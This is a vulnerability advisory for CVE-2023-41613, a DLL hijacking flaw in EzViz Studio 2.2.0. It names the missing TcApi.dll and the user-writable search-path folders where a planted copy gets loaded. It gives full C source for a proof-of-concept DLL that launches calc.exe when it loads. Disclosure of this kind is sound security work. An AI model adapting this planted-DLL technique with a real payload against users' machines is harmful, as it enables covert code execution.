Authored by EAFZ

EzViz Studio version 2.2.0 suffers from a dll hijacking vulnerability.

advisories | CVE-2023-41613

PoC:

*DLL Hijacking via EzViz Studio (Reported by EAFZ from Pythongoras)*

*Author: EAFZ aka myantti3m*

*CVE: **CVE**-2023-41613.*

*Test Environment:*

OS: Windows 11 Pro 64 bit(10.0, Build 2261)

EzViz Studio version: 2.2.0

*Technical Description *

*1. **Technical Description *

EzvizStudio.exe searches for a DLL called TcApi.dll. Because TcApi.dll
doesn’t exist in any of the paths of the DLL search order. In particular,
some paths have writable permissions for normal users as:

· C:Users<Username>AppDataLocalProgramsMicrosoft VS
CodebinTcApi.dll

· C:Users<Username>AppDataLocalMicrosoftWindowsAppsTcApi.dll

So we can plant “malicious” TcApi.dll inside these directories and wait
until the application will load it.

*POC*

We created a malicious DLL file (TcApi.dll) and complied it. In our case,
it opens calc.exe. You can see the code below:

#include <windows.h>

#pragma comment (lib, "user32.lib")

#include "pch.h"

#include <iostream>

#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,

DWORD nReason, LPVOID lpReserved) {

switch (nReason) {

case DLL_PROCESS_ATTACH:

system("calc.exe");



break;

case DLL_PROCESS_DETACH:

break;

case DLL_THREAD_ATTACH:

break;

case DLL_THREAD_DETACH:

break;

}

return TRUE;

}

Copy “malicious” TcApi.dll to

C:Users<Username>AppDataLocalMicrosoftWindowsAppsTcApi.dll

If we run the EzVizStudio again, the code from the “malicious” DLL runs